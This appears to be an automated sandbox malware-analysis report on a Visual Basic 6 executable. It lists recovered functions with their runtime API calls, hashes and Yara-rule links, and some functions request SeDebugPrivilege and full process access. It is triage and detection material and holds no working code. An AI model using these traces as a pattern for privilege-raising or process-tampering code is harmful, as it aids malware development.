Opcode Fuzzy Hash: 885353d30146d4874439d9188de8ce179380beda0541da3dfd58a4a737dd6ec3
Instruction Fuzzy Hash: C7417475A00209AFD714DFA4CD85E9E7B79FB89700F10413BF901B76A0DA74A948CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00410FB0 Relevance: 27.1, APIs: 18, Instructions: 106COMMON

Download Yara Rule

APIs

__vbaRecUniToAnsi.MSVBVM60(00404BAC,?,?), ref: 0041103F
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041104B
__vbaRecAnsiToUni.MSVBVM60(00404BAC,00000094,?), ref: 00411064
__vbaStrI4.MSVBVM60(?), ref: 00411077
__vbaStrMove.MSVBVM60 ref: 00411087
__vbaStrCat.MSVBVM60(004057CC,00000000), ref: 00411095
__vbaStrMove.MSVBVM60 ref: 0041109F
__vbaStrI4.MSVBVM60(?,00000000), ref: 004110A9
__vbaStrMove.MSVBVM60 ref: 004110B3
__vbaStrCat.MSVBVM60(00000000), ref: 004110B6
__vbaStrMove.MSVBVM60 ref: 004110C0
__vbaStrCat.MSVBVM60(004057CC,00000000), ref: 004110C8
__vbaStrMove.MSVBVM60 ref: 004110D2
__vbaStrI4.MSVBVM60(?,00000000), ref: 004110DC
__vbaStrMove.MSVBVM60 ref: 004110E6
__vbaStrCat.MSVBVM60(00000000), ref: 004110E9
__vbaStrMove.MSVBVM60 ref: 004110F3
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,?,?), ref: 00411121

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Ansi$ErrorFreeListSystem
String ID:
API String ID: 669208520-0
Opcode ID: 15d97e58667047e38884c40753fbc310222c58e867efe20913db211b95d16ab2
Instruction ID: 84428951c38bdac4841b214fd1cb50a500f43101e76cc919ffdd761ca84df74b
Opcode Fuzzy Hash: 15d97e58667047e38884c40753fbc310222c58e867efe20913db211b95d16ab2
Instruction Fuzzy Hash: AD410EB1D00218ABCB65EB65CD44BEABBB9EF48700F1041EAE509B3160DE746F85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00418F30 Relevance: 25.7, APIs: 17, Instructions: 169COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60(660E19DC,00000000,00000FEE), ref: 00418FAE
__vbaGenerateBoundsError.MSVBVM60(660E19DC,00000000,00000FEE), ref: 00418FC2
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 00418FE9
__vbaAryLock.MSVBVM60(?,00000000), ref: 00419003
__vbaGenerateBoundsError.MSVBVM60 ref: 0041901E
__vbaGenerateBoundsError.MSVBVM60 ref: 00419022
__vbaAryLock.MSVBVM60(?,?), ref: 0041902E
__vbaGenerateBoundsError.MSVBVM60 ref: 00419049
__vbaGenerateBoundsError.MSVBVM60 ref: 00419052
__vbaSetSystemError.MSVBVM60(00000000,00000000,-00000001), ref: 0041907B
__vbaAryUnlock.MSVBVM60(?), ref: 0041908B
__vbaAryUnlock.MSVBVM60(?), ref: 00419091
__vbaPutOwner3.MSVBVM60(00407524,?,00000000), ref: 004190A4
__vbaGenerateBoundsError.MSVBVM60(660E19DC,00000000,00000FEE), ref: 004190D1
__vbaGenerateBoundsError.MSVBVM60(660E19DC,00000000,00000FEE), ref: 004190E1
__vbaAryDestruct.MSVBVM60(00000000,?,0041912C), ref: 00419125
__vbaErrorOverflow.MSVBVM60(660E19DC,00000000,00000FEE), ref: 0041913F

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$BoundsGenerate$LockUnlock$DestructOverflowOwner3RedimSystem
String ID:
API String ID: 3281955820-0
Opcode ID: a8d7f946882eaeb5c4532af24fa3ee9707f2f5aa847c5e00e51107734879214e
Instruction ID: 4833bfc8c810be8c7ee48596b44bcdea636671ab31cf8706ef4dadcd7055b152
Opcode Fuzzy Hash: a8d7f946882eaeb5c4532af24fa3ee9707f2f5aa847c5e00e51107734879214e
Instruction Fuzzy Hash: 4A51B470A00215AFDB14DF64DDA5AFABBB5FB49740F21802AE505A7350C774ACC2CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,004025E6), ref: 0040ACBE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 0040AD05
__vbaStrCat.MSVBVM60( RO,00000000,?,?,?,?,004025E6), ref: 0040AD3D
__vbaStrMove.MSVBVM60(?,?,?,?,004025E6), ref: 0040AD48
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,?,?,?,004025E6), ref: 0040AD61
__vbaStrMove.MSVBVM60(?,?,?,?,004025E6), ref: 0040AD6C
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000,?,?,?,?,004025E6), ref: 0040AD87
__vbaStrCat.MSVBVM60( RO,00000000,?,?,004025E6), ref: 0040ADA2
__vbaStrMove.MSVBVM60(?,?,004025E6), ref: 0040ADAD
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,?,004025E6), ref: 0040ADC7
__vbaStrMove.MSVBVM60(?,?,004025E6), ref: 0040ADD2
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,?,004025E6), ref: 0040ADED

Strings

RO, xrefs: 0040AD38, 0040AD9D
Once, xrefs: 0040AD5C, 0040ADC2

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$FreeList$ChkstkError
String ID: RO$Once
API String ID: 3210543181-275216174
Opcode ID: 1063fae4adbd8224e8995746d70fbb9a1f5e9435d9e4a9119fec7327904956c2
Instruction ID: 52c490b129e582bc3dafaca85e5bb0199f8b140a8a0a8e676f0dccd7654b22b4
Opcode Fuzzy Hash: 1063fae4adbd8224e8995746d70fbb9a1f5e9435d9e4a9119fec7327904956c2
Instruction Fuzzy Hash: C9413471900208EFD704DF94DE49BEEBBB8FB4C304F108129F916A72A0DB755A44CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410C70 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,?,004100E0), ref: 00410C8E
__vbaOnError.MSVBVM60(000000FF,00000000,660E6C30,660E0EBE,00000000,004025E6), ref: 00410CBE
__vbaSetSystemError.MSVBVM60 ref: 00410CD3
__vbaSetSystemError.MSVBVM60(?,00000028,?), ref: 00410CEB
__vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 00410D3B
__vbaStrToAnsi.MSVBVM60(?,SeDebugPrivilege,?), ref: 00410D5A
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 00410D6B
__vbaFreeStr.MSVBVM60 ref: 00410D83
__vbaCopyBytes.MSVBVM60(00000008,?,?), ref: 00410DE0
__vbaSetSystemError.MSVBVM60(?), ref: 00410E35

Strings

SeDebugPrivilege, xrefs: 00410D51

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$System$AnsiBytesChkstkCopyFree
String ID: SeDebugPrivilege
API String ID: 1749655604-2896544425
Opcode ID: f636320db0520c6460c5fd51245f71b2210e99ae5d457a238845d81d681894fc
Instruction ID: 19430b606137baf8db46125749817fb036df22dc0e74aca3634fbbd968d53a81
Opcode Fuzzy Hash: f636320db0520c6460c5fd51245f71b2210e99ae5d457a238845d81d681894fc
Instruction Fuzzy Hash: E3512EB1900308DBDB14DFA1DA09BEEB7B8BB04704F20812EE105BB191D7B85A89DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00418A10 Relevance: 22.6, APIs: 15, Instructions: 76COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,?,?,?,?,?,?,?,004025E6), ref: 00418A2E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 00418A5B
__vbaStrCopy.MSVBVM60 ref: 00418A67
__vbaOnError.MSVBVM60(000000FF), ref: 00418A76
__vbaStrToAnsi.MSVBVM60(?,?,?), ref: 00418A8F
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00418A9F
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00418AAD
__vbaFreeStr.MSVBVM60 ref: 00418AB6
__vbaStrToAnsi.MSVBVM60(?,?), ref: 00418ACB
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00418ADB
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00418AE9
__vbaFreeStr.MSVBVM60 ref: 00418AF2
__vbaSetSystemError.MSVBVM60(?), ref: 00418B08
__vbaFreeStr.MSVBVM60(00418B32), ref: 00418B22
__vbaFreeStr.MSVBVM60 ref: 00418B2B

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID:
API String ID: 3031735744-0
Opcode ID: de2cb393b24f7ac5ffc4dd8badd9aec4615ba2a8af61c512e53155f7c5b6804a
Instruction ID: 31f6dc709dd63b5e7e6354cc984dc1dfaca077b65c72c4c2232904d0b2341183
Opcode Fuzzy Hash: de2cb393b24f7ac5ffc4dd8badd9aec4615ba2a8af61c512e53155f7c5b6804a
Instruction Fuzzy Hash: A031FCB5800209EBCB04DFE4DE58ADE7B78FB48315F108559F211B72A0DB756A44CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040FF70 Relevance: 21.1, APIs: 14, Instructions: 80COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(660E6C30,660E6A76,00000000), ref: 0040FFAA
#537.MSVBVM60(00000000,?,00000001), ref: 0040FFBD
__vbaStrMove.MSVBVM60 ref: 0040FFCA
__vbaInStr.MSVBVM60(00000000,00000000), ref: 0040FFCE
__vbaFreeStr.MSVBVM60 ref: 0040FFE2
#537.MSVBVM60(00000000,?,00000001), ref: 0040FFF5
__vbaStrMove.MSVBVM60 ref: 0040FFFC
__vbaInStr.MSVBVM60(00000000,00000000), ref: 00410001
#616.MSVBVM60(?,-00000001), ref: 00410011
__vbaStrMove.MSVBVM60 ref: 0041001C
__vbaFreeStr.MSVBVM60 ref: 00410021
__vbaStrCopy.MSVBVM60 ref: 0041002D
__vbaFreeStr.MSVBVM60(0041005D), ref: 00410056
__vbaErrorOverflow.MSVBVM60 ref: 00410073

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$FreeMove$#537Copy$#616ErrorOverflow
String ID:
API String ID: 3249593964-0
Opcode ID: 1275576801f9687499aa79f0ee0564375320d38fe15e01250de86d500da99eea
Instruction ID: 3391faed527fa42239c90739200fcb3ec4dff878199542e7df0cbe2f1190cda9
Opcode Fuzzy Hash: 1275576801f9687499aa79f0ee0564375320d38fe15e01250de86d500da99eea
Instruction Fuzzy Hash: EC212F71D00109ABCB04DFA5DD89AEFBB78FF59700F10812AE516B72A0DB785945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00419700 Relevance: 19.6, APIs: 13, Instructions: 120COMMON

Download Yara Rule

APIs

__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,-00000001,00000000,660E6C30,00000000,660E56DE), ref: 0041975B
__vbaAryLock.MSVBVM60(?,00000000), ref: 00419775
__vbaGenerateBoundsError.MSVBVM60 ref: 00419796
__vbaGenerateBoundsError.MSVBVM60 ref: 004197A5
__vbaAryLock.MSVBVM60(?,?), ref: 004197B2
__vbaGenerateBoundsError.MSVBVM60 ref: 004197CD
__vbaGenerateBoundsError.MSVBVM60 ref: 004197D6
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000000), ref: 004197F9
__vbaAryUnlock.MSVBVM60(?), ref: 00419809
__vbaAryUnlock.MSVBVM60(?), ref: 0041980F
__vbaPutOwner3.MSVBVM60(00407524,?,00000000), ref: 00419822
__vbaAryDestruct.MSVBVM60(00000000,?,0041984F,660E6C30,00000000,660E56DE), ref: 00419848
__vbaErrorOverflow.MSVBVM60(00000000,660E6C30,00000000,660E56DE), ref: 00419860

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$BoundsGenerate$LockUnlock$DestructOverflowOwner3RedimSystem
String ID:
API String ID: 3281955820-0
Opcode ID: ccc3478dbcd7e51189b4f7c35bd8fb3331cd942d6aa921c6006e7f43fcf8eea8
Instruction ID: 91cd715af1cd97156beb3a758445edf250c8698d8b352ee1a2a14870601594c5
Opcode Fuzzy Hash: ccc3478dbcd7e51189b4f7c35bd8fb3331cd942d6aa921c6006e7f43fcf8eea8
Instruction Fuzzy Hash: E0418F75910219AFCB04EFA4CD95AEEB7B9FF48700F14811AE501B7290D7B4AC81CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 00410560 Relevance: 18.1, APIs: 12, Instructions: 129COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,004025E6,?,?,?,?,?,?,?,?,004025E6), ref: 0041057E
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 004105AE
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,?,004025E6), ref: 004105E8
__vbaSetSystemError.MSVBVM60(00000000), ref: 00410611
__vbaSetSystemError.MSVBVM60(00000000), ref: 00410627
__vbaSetSystemError.MSVBVM60(00000004,00000000,?,?,?,?,004025E6), ref: 00410645
__vbaSetSystemError.MSVBVM60(?,0041B1D4,?,?,?,?,004025E6), ref: 0041067E
__vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,?,004025E6), ref: 004106D3
__vbaSetSystemError.MSVBVM60(00000000), ref: 004106FC
__vbaSetSystemError.MSVBVM60(00000000), ref: 00410712
__vbaSetSystemError.MSVBVM60(?,0041B1D4,?,?,?,?,004025E6), ref: 00410735
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,004025E6), ref: 00410758

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$System$Chkstk
String ID:
API String ID: 1207130036-0
Opcode ID: 62ff90cb35de8ef11aa2b30622b115efdf93fef2ebd10f5ae9c3101067cccd5d
Instruction ID: 2137da7fcd73fff1979705b1bef70d61cd8a95bb74c88752949aaefb45c8b53a
Opcode Fuzzy Hash: 62ff90cb35de8ef11aa2b30622b115efdf93fef2ebd10f5ae9c3101067cccd5d
Instruction Fuzzy Hash: 6C5107B4901208EBDB14DFA4DA48BDEBBB4FF48314F20805AE51477390C7B99A84DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00410E60 Relevance: 18.1, APIs: 12, Instructions: 85COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,0040BC66,0041B038,?,?,?,004025E6), ref: 00410E7E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 00410EAE
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00410EC5
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,00000000,004025E6), ref: 00410ED1
__vbaStrToUnicode.MSVBVM60(0041B038,?,?,?,?,?,00000000,004025E6), ref: 00410EDF
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 00410EE8
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,00000000,?,?,?,?,00000000,004025E6), ref: 00410F03
__vbaStrToAnsi.MSVBVM60(?,00000000,00000000,?,?,?,?,00000000,004025E6), ref: 00410F14
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,?,00000000,004025E6), ref: 00410F25
__vbaStrToUnicode.MSVBVM60(0041B038,?,?,?,?,?,00000000,004025E6), ref: 00410F33
__vbaStrToUnicode.MSVBVM60(00000000,?,?,?,?,?,00000000,004025E6), ref: 00410F41
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,00000000,004025E6), ref: 00410F57

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$AnsiErrorUnicode$FreeSystem$ChkstkList
String ID:
API String ID: 3861917509-0
Opcode ID: c1be402e434711134876b1e75af30f3fda5167bf00b65e5935c09ae6f9679a43
Instruction ID: d7813b94c935956c428f1e1f47a44fa569b160c913a03527725d119065563702
Opcode Fuzzy Hash: c1be402e434711134876b1e75af30f3fda5167bf00b65e5935c09ae6f9679a43
Instruction Fuzzy Hash: 9E31ECB5901208EFDB04DFA4DA49BDEBBB8FB48714F108119F515BB290D7B89A44CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA50 Relevance: 18.1, APIs: 12, Instructions: 67COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(0040AA6C,004025E6,0040AA6C,?,?,?,00000000,004025E6), ref: 0040FA6E
__vbaOnError.MSVBVM60(000000FF,?,?,?,0040AA6C,004025E6,0040AA6C), ref: 0040FA9E
#648.MSVBVM60(0000000A), ref: 0040FABD
__vbaFreeVar.MSVBVM60 ref: 0040FACA
__vbaFileOpen.MSVBVM60(00000120,000000FF,?), ref: 0040FAE9
#570.MSVBVM60(?), ref: 0040FAFB
#525.MSVBVM60(00000000), ref: 0040FB02
__vbaStrMove.MSVBVM60 ref: 0040FB0D
__vbaGet3.MSVBVM60(00000000,?,?), ref: 0040FB25
__vbaFileClose.MSVBVM60(?), ref: 0040FB37
__vbaStrCopy.MSVBVM60 ref: 0040FB4A
__vbaFreeStr.MSVBVM60(0040FB7E), ref: 0040FB77

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$FileFree$#525#570#648ChkstkCloseCopyErrorGet3MoveOpen
String ID:
API String ID: 947554498-0
Opcode ID: e9e615465a2034f7d721f361e5a725c75608ada2b2abae78992f9bdf205b699b
Instruction ID: 2ea1275da5938a61f9bbdbea3727b2d8b601beaa9e21b66b0b90c65097ce1408
Opcode Fuzzy Hash: e9e615465a2034f7d721f361e5a725c75608ada2b2abae78992f9bdf205b699b
Instruction Fuzzy Hash: A031ECB5800248EBDB04DFD4DA58BDEBBB4FF08715F208169E511B72A0DB795A44CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00404843 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6), ref: 0040CF8E
__vbaOnError.MSVBVM60(000000FF,?,00000000,004025E6), ref: 0040CFD5
__vbaObjSet.MSVBVM60(?,00000000,?,00000000,004025E6), ref: 0040D006
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406C48,0000004C), ref: 0040D039
__vbaFreeObj.MSVBVM60 ref: 0040D078
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D0C1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406C48,00000040), ref: 0040D0F9
__vbaLateIdCall.MSVBVM60(?,60030004,00000000), ref: 0040D11C
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D12F
__vbaCastObj.MSVBVM60(00000000,0040563C), ref: 0040D152
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D15D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00405414,00000730), ref: 0040D190
__vbaFreeObj.MSVBVM60 ref: 0040D1AB

Strings

?, xrefs: 00404843

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$CheckFreeHresult$CallCastChkstkErrorLateList
String ID: ?
API String ID: 269068952-1684325040
Opcode ID: 1eafb0bb2cb90cbeb5fe44f42e07e9b228fda82a0d81194327b73e356765a8c2
Instruction ID: e12f10e6882a07b68982d9b1f0c67d4f52429f3b1a0b66e6b96f65459c310862
Opcode Fuzzy Hash: 1eafb0bb2cb90cbeb5fe44f42e07e9b228fda82a0d81194327b73e356765a8c2
Instruction Fuzzy Hash: 06511B75900208EBDB14DFA4C948BDEBBB4FF48704F208269F509BB291D7759A85CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00415C8A Relevance: 16.5, APIs: 11, Instructions: 31COMMON

Download Yara Rule

APIs

__vbaI2I4.MSVBVM60 ref: 00415C93
__vbaFileClose.MSVBVM60(00000000), ref: 00415C9C
__vbaI2I4.MSVBVM60 ref: 00415CA1
__vbaFileClose.MSVBVM60(00000000), ref: 00415CA4
__vbaExitProc.MSVBVM60 ref: 00415CAD
__vbaAryDestruct.MSVBVM60(00000000,?,00415D0C), ref: 00415CE6
__vbaFreeStr.MSVBVM60 ref: 00415CF5
__vbaFreeStr.MSVBVM60 ref: 00415CFA
__vbaFreeStr.MSVBVM60 ref: 00415CFF
__vbaFreeStr.MSVBVM60 ref: 00415D04
__vbaFreeStr.MSVBVM60 ref: 00415D09

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$CloseFile$DestructExitProc
String ID:
API String ID: 1320429144-0
Opcode ID: e72f65d1b9acbe311dcb925acb13922c15ed09f160c56a860b095a3286b9a039
Instruction ID: ac45af5dedd4f35385674aac5ef352c541f385de1dfbdc7eb18f47d75152aea7
Opcode Fuzzy Hash: e72f65d1b9acbe311dcb925acb13922c15ed09f160c56a860b095a3286b9a039
Instruction Fuzzy Hash: 53F0A471C1416CDBCB08EBA0ED55ADDBB38EF94310F11402AE846B31B49E702E85CEA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040E570 Relevance: 15.1, APIs: 10, Instructions: 72COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,004025E6), ref: 0040E58E
__vbaObjSetAddref.MSVBVM60(?,00000000,?,?,?,?,004025E6), ref: 0040E5D4
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 0040E5E3
__vbaVarVargNofree.MSVBVM60(?,?,?,?,004025E6), ref: 0040E5F6
__vbaStrErrVarCopy.MSVBVM60(00000000,?,?,?,?,004025E6), ref: 0040E5FD
__vbaStrMove.MSVBVM60(?,?,?,?,004025E6), ref: 0040E608
__vbaChkstk.MSVBVM60 ref: 0040E620
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 0040E646
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,004025E6), ref: 0040E652
__vbaFreeObj.MSVBVM60(0040E67A,?,?,?,?,?,?,004025E6), ref: 0040E673

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
